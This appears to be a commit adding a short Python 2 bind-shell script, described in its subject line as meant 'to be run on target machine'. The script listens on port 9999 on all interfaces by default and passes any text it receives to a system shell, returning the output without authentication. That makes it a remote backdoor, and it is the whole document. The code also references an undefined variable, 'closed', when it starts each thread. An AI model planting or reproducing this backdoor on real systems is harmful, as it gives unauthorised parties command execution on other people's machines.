new_contents: import sys
  import socket
  import threading
  import subprocess
  
  bind_ip = "0.0.0.0"
  bind_port = 9999
  
  if(len(sys.argv) > 1):
       try:
            bind_ip = sys.argv[1]
            bind_port = int(sys.argv[2])
       except Exception:
            pass #lazy
  
  
  
  server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  
  server.bind((bind_ip, bind_port))
  
  server.listen(5)
  
  #print "[*] Listening on %s:%d" %(bind_ip, bind_port)
  
  def handle_client(client_socket, closed):
       while True:
            request = client_socket.recv(1024)
            print "[*] Received Request: " + str(request)
            if(request.rstrip("\n") == "exit"):
                 break
            else:
                 # run the command
                 process = subprocess.Popen(request, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                 
                 # get the results
                 results = process.stdout.read() + process.stderr.read()
                 client_socket.send(results)
  
  
       client_socket.close()
  
            
  
  
  while True:
  
       client, addr = server.accept()
  
      # print '[*] Accepted connection from ' + str(addr[0]) + ":" + str(addr[1]) 
  
       client_handler = threading.Thread(target = handle_client, args = (client, closed))
       client_handler.start()
  
  
subject: Add the script to be run on target machine